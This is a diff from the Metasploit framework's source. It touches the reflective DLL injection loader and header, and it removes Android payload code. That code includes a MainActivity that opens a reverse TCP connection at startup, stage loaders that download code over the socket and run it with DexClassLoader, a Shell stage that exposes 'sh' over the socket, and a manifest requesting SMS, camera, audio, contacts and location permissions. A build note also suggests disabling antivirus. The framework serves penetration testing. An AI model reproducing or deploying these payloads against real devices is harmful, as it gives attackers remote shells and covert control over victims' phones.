// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||
|
||||
BOOL MetasploitDllAttach( SOCKET socket )
|
||||
{
|
||||
Init( socket );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||
{
|
||||
switch( dwExitFunc )
|
||||
{
|
||||
case EXITFUNC_SEH:
|
||||
SetUnhandledExceptionFilter( NULL );
|
||||
break;
|
||||
case EXITFUNC_THREAD:
|
||||
ExitThread( 0 );
|
||||
break;
|
||||
case EXITFUNC_PROCESS:
|
||||
ExitProcess( 0 );
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_METASPLOIT_ATTACH:
|
||||
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
|
||||
break;
|
||||
case DLL_METASPLOIT_DETACH:
|
||||
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
|
||||
break;
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
Vendored
Regular → Executable
+21
-23
@@ -1,5 +1,5 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
@@ -14,7 +14,7 @@
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
@@ -25,34 +25,37 @@
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
#define EXITFUNC_SEH 0xEA320EFE
|
||||
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||
|
||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T);
|
||||
typedef LPVOID (WINAPI * OUTPUTDEBUG)(LPCSTR);
|
||||
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define VIRTUALLOCK_HASH 0x0ef632f2
|
||||
#define OUTPUTDEBUG_HASH 0x470d22bc
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define HASH_KEY 13
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
@@ -61,8 +64,6 @@ __forceinline DWORD ror( DWORD d )
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
@@ -74,7 +75,6 @@ __forceinline DWORD hash( char * c )
|
||||
|
||||
return h;
|
||||
}
|
||||
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
@@ -197,8 +197,6 @@ typedef struct
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual C++ Express 2010
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
-39
@@ -1,39 +0,0 @@
|
||||
To compile JavaPayload for Metasploit (including Java Meterpreter), you need
|
||||
Maven 3.0 or above. Just run
|
||||
|
||||
mvn package
|
||||
|
||||
to package all the files, or
|
||||
|
||||
mvn -P deploy package
|
||||
|
||||
to package all the files and copy them into the correct place for Metasploit
|
||||
(/data/java). If you get spurious compilation errors, make sure that there
|
||||
is an exclude rule in your antivirus for the Metasploit directory (or that
|
||||
your antivirus is disabled).
|
||||
|
||||
In case you want to edit/debug JavaPayload for Metasploit or Java Meterpreter,
|
||||
Maven provides plugins to auto-generate project files for your favourite IDE
|
||||
(at least for Eclipse, Netbeans or IntelliJ). I use Eclipse, so to generate
|
||||
project files I use
|
||||
|
||||
mvn eclipse:eclipse
|
||||
|
||||
This will generate project files that can be imported via
|
||||
|
||||
File->Import->Existing Projects into Workspace
|
||||
|
||||
into your Eclipse workspace.
|
||||
|
||||
(Note that if this is your first Maven project you want to use in Eclipse, you
|
||||
also have to run
|
||||
|
||||
mvn -Declipse.workspace=/path/to/your/workspace eclipse:configure-workspace
|
||||
|
||||
to set up path variables like M2_REPO to point to the correct location.)
|
||||
|
||||
For NetBeans or IntelliJ IDEA, refer to the documentation at
|
||||
|
||||
http://maven.apache.org/netbeans-module.html
|
||||
http://maven.apache.org/plugins/maven-idea-plugin/
|
||||
|
||||
Vendored
+2
@@ -0,0 +1,2 @@
|
||||
Java Payload source code has moved to its own repository, hosted at
|
||||
https://github.com/rapid7/metasploit-javapayload
|
||||
@@ -1,38 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.metasploit.stage"
|
||||
android:versionCode="1"
|
||||
android:versionName="1.0" >
|
||||
|
||||
<uses-sdk android:minSdkVersion="3"/>
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
|
||||
<uses-permission android:name="android.permission.SEND_SMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_SMS" />
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
<uses-permission android:name="android.permission.CALL_PHONE" />
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS" />
|
||||
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
|
||||
<application
|
||||
android:icon="@drawable/icon"
|
||||
android:label="@string/app_name" >
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:label="@string/app_name" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
</application>
|
||||
|
||||
</manifest>
|
||||
@@ -1,77 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-AndroidPayload</artifactId>
|
||||
<version>1-SNAPSHOT</version>
|
||||
<packaging>apk</packaging>
|
||||
<name>AndroidPayload for Metasploit</name>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>com.google.android</groupId>
|
||||
<artifactId>android</artifactId>
|
||||
<version>1.6_r2</version>
|
||||
<scope>provided</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<finalName>${project.artifactId}</finalName>
|
||||
<sourceDirectory>src</sourceDirectory>
|
||||
<pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<version>3.5.3</version>
|
||||
|
||||
<extensions>true</extensions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<configuration>
|
||||
<sdk>
|
||||
<!-- platform or api level (api level 4 = platform 1.6)-->
|
||||
<platform>3</platform>
|
||||
</sdk>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<profiles>
|
||||
<profile>
|
||||
<!-- deploy built files to Metasploit data directory -->
|
||||
<id>deploy</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<unzip src="${project.basedir}/target/${project.build.finalName}.apk" dest="${project.basedir}/../../../../../data/android/apk" >
|
||||
<patternset>
|
||||
<exclude name="META-INF/**"/>
|
||||
</patternset>
|
||||
</unzip>
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
</profiles>
|
||||
|
||||
</project>
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 3.1 KiB |
@@ -1,13 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:layout_width="fill_parent"
|
||||
android:layout_height="fill_parent"
|
||||
android:orientation="vertical" >
|
||||
|
||||
<Button
|
||||
android:id="@+id/button_reverse"
|
||||
android:layout_width="fill_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ReverseTCP" />
|
||||
|
||||
</LinearLayout>
|
||||
@@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="app_name">MainActivity</string>
|
||||
</resources>
|
||||
-56
@@ -1,56 +0,0 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import dalvik.system.DexClassLoader;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.Random;
|
||||
|
||||
public class LoadStage {
|
||||
private String randomJarName() {
|
||||
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
Random random = new Random();
|
||||
for (int i = 0; i < 20; i++) {
|
||||
char c = chars[random.nextInt(chars.length)];
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString() + ".jar";
|
||||
}
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
|
||||
String jarFile = randomJarName();
|
||||
String path = context.getFilesDir().getAbsolutePath();
|
||||
|
||||
// Read the class name
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
String classFile = new String(core);
|
||||
|
||||
// Read the stage
|
||||
coreLen = in.readInt();
|
||||
core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
|
||||
// Write the stage to /data/data/.../files/
|
||||
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
|
||||
fos.write(core);
|
||||
fos.close();
|
||||
|
||||
// Load the stage
|
||||
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
|
||||
Class<?> myClass = classLoader.loadClass(classFile);
|
||||
final Object stage = myClass.newInstance();
|
||||
myClass.getMethod("start", new Class[] {
|
||||
DataInputStream.class, OutputStream.class, Context.class, String[].class
|
||||
}).invoke(stage, new Object[] {
|
||||
in, out, context, parameters
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
-59
@@ -1,59 +0,0 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.os.AsyncTask;
|
||||
import android.os.Bundle;
|
||||
import android.view.View;
|
||||
import android.view.View.OnClickListener;
|
||||
|
||||
public class MainActivity extends Activity
|
||||
{
|
||||
// avoid re-ordering the strings in classes.dex - append XXXX
|
||||
private static final String LHOST = "XXXX127.0.0.1 ";
|
||||
private static final String LPORT = "YYYY4444 ";
|
||||
|
||||
@Override
|
||||
public void onCreate(Bundle savedInstanceState)
|
||||
{
|
||||
super.onCreate(savedInstanceState);
|
||||
setContentView(R.layout.main);
|
||||
|
||||
findViewById(R.id.button_reverse).setOnClickListener(new OnClickListener() {
|
||||
@Override
|
||||
public void onClick(View v) {
|
||||
startAsync();
|
||||
}
|
||||
});
|
||||
|
||||
startAsync();
|
||||
}
|
||||
|
||||
private void startAsync() {
|
||||
new AsyncTask<Void, Void, Void>() {
|
||||
@Override
|
||||
protected Void doInBackground(Void... params) {
|
||||
reverseTCP();
|
||||
return null;
|
||||
}
|
||||
}.execute();
|
||||
}
|
||||
|
||||
private void reverseTCP() {
|
||||
try {
|
||||
String lhost = LHOST.substring(4).trim();
|
||||
String lport = LPORT.substring(4).trim();
|
||||
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
|
||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||
new LoadStage().start(in, out, this, new String[] {});
|
||||
msgsock.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.metasploit.stage"
|
||||
android:versionCode="1"
|
||||
android:versionName="1.0">
|
||||
</manifest>
|
||||
@@ -1,137 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-</artifactId>
|
||||
<version>1-SNAPSHOT</version>
|
||||
<packaging>apk</packaging>
|
||||
<name>Android Meterpreter</name>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>com.google.android</groupId>
|
||||
<artifactId>android</artifactId>
|
||||
<version>1.6_r2</version>
|
||||
<scope>provided</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-JavaPayload</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-Java-Meterpreter</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-Java-Meterpreter-stdapi</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<finalName>${project.artifactId}</finalName>
|
||||
<sourceDirectory>src</sourceDirectory>
|
||||
<pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<version>3.5.3</version>
|
||||
|
||||
<extensions>true</extensions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<configuration>
|
||||
<sdk>
|
||||
<!-- platform or api level (api level 4 = platform 1.6)-->
|
||||
<platform>3</platform>
|
||||
</sdk>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<profiles>
|
||||
<profile>
|
||||
<!-- deploy built files to Metasploit data directory -->
|
||||
<id>deploy</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<condition property="dx.filename" value="dx.bat">
|
||||
<os family="windows" />
|
||||
</condition>
|
||||
<property name="dx.filename" value="dx" />
|
||||
|
||||
<echo>Building shell</echo>
|
||||
<delete dir="${project.basedir}/target/dx" />
|
||||
<mkdir dir="${project.basedir}/target/dx/shell" />
|
||||
<copy todir="${project.basedir}/target/dx/shell">
|
||||
<fileset dir="${project.basedir}/target/classes">
|
||||
<include name="androidpayload/stage/Shell.class" />
|
||||
<include name="androidpayload/stage/Stage.class" />
|
||||
</fileset>
|
||||
<zipfileset src="${com.metasploit:Metasploit-JavaPayload:jar}" includes="javapayload/stage/StreamForwarder.class" />
|
||||
</copy>
|
||||
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
|
||||
<arg value="--verbose" />
|
||||
<arg value="--dex" />
|
||||
<arg value="--output=${project.basedir}/../../../../../data/android/shell.jar" />
|
||||
<arg value="${project.basedir}/target/dx/shell" />
|
||||
</exec>
|
||||
|
||||
<echo>Building meterpreter stage</echo>
|
||||
<mkdir dir="${project.basedir}/target/dx/metstage" />
|
||||
<copy todir="${project.basedir}/target/dx/metstage">
|
||||
<fileset dir="${project.basedir}/target/classes">
|
||||
<include name="androidpayload/stage/Meterpreter.class" />
|
||||
<include name="androidpayload/stage/Stage.class" />
|
||||
</fileset>
|
||||
</copy>
|
||||
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
|
||||
<arg value="--verbose" />
|
||||
<arg value="--dex" />
|
||||
<arg value="--output=${project.basedir}/../../../../../data/android/metstage.jar" />
|
||||
<arg value="${project.basedir}/target/dx/metstage" />
|
||||
</exec>
|
||||
|
||||
<echo>Building meterpreter</echo>
|
||||
<mkdir dir="${project.basedir}/target/dx/meterpreter" />
|
||||
<copy todir="${project.basedir}/target/dx/meterpreter">
|
||||
<fileset dir="${project.basedir}/target/classes" includes="com/metasploit/meterpreter/**/*.class" />
|
||||
</copy>
|
||||
<exec executable="${android.sdk.path}/platform-tools/${dx.filename}" failonerror="true">
|
||||
<arg value="--verbose" />
|
||||
<arg value="--dex" />
|
||||
<arg value="--output=${project.basedir}/../../../../../data/android/meterpreter.jar" />
|
||||
<arg value="${project.basedir}/target/dx/meterpreter" />
|
||||
<arg value="${com.metasploit:Metasploit-Java-Meterpreter:jar}" />
|
||||
<arg value="${com.metasploit:Metasploit-Java-Meterpreter-stdapi:jar}" />
|
||||
<arg value="${com.metasploit:Metasploit-JavaPayload:jar}" />
|
||||
</exec>
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
</profiles>
|
||||
</project>
|
||||
Vendored
-51
@@ -1,51 +0,0 @@
|
||||
|
||||
package androidpayload.stage;
|
||||
|
||||
import dalvik.system.DexClassLoader;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
*/
|
||||
public class Meterpreter implements Stage {
|
||||
|
||||
private String randomJarName() {
|
||||
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
Random random = new Random();
|
||||
for (int i = 0; i < 20; i++) {
|
||||
char c = chars[random.nextInt(chars.length)];
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString() + ".jar";
|
||||
}
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
|
||||
String jarFile = randomJarName();
|
||||
String path = context.getFilesDir().getAbsolutePath();
|
||||
|
||||
// Read the stage
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
|
||||
// Write the stage to /data/data/.../files/
|
||||
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
|
||||
fos.write(core);
|
||||
fos.close();
|
||||
|
||||
// Load the stage
|
||||
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
|
||||
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
|
||||
myClass.getConstructor(new Class[] {
|
||||
DataInputStream.class, OutputStream.class, Context.class, boolean.class
|
||||
}).newInstance(in, out, context, false);
|
||||
}
|
||||
}
|
||||
-25
@@ -1,25 +0,0 @@
|
||||
|
||||
package androidpayload.stage;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
import javapayload.stage.StreamForwarder;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
*/
|
||||
public class Shell implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
|
||||
final Process proc = Runtime.getRuntime().exec("sh");
|
||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||
proc.waitFor();
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
-44
@@ -1,44 +0,0 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package androidpayload.stage;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public interface Stage {
|
||||
public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
|
||||
}
|
||||
-88
@@ -1,88 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
|
||||
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
|
||||
import com.metasploit.meterpreter.android.webcam_audio_record_android;
|
||||
import com.metasploit.meterpreter.android.webcam_get_frame_android;
|
||||
import com.metasploit.meterpreter.android.webcam_list_android;
|
||||
import com.metasploit.meterpreter.android.webcam_start_android;
|
||||
import com.metasploit.meterpreter.android.webcam_stop_android;
|
||||
import com.metasploit.meterpreter.stdapi.Loader;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_server;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_udp_client;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_chdir;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_dir;
|
||||
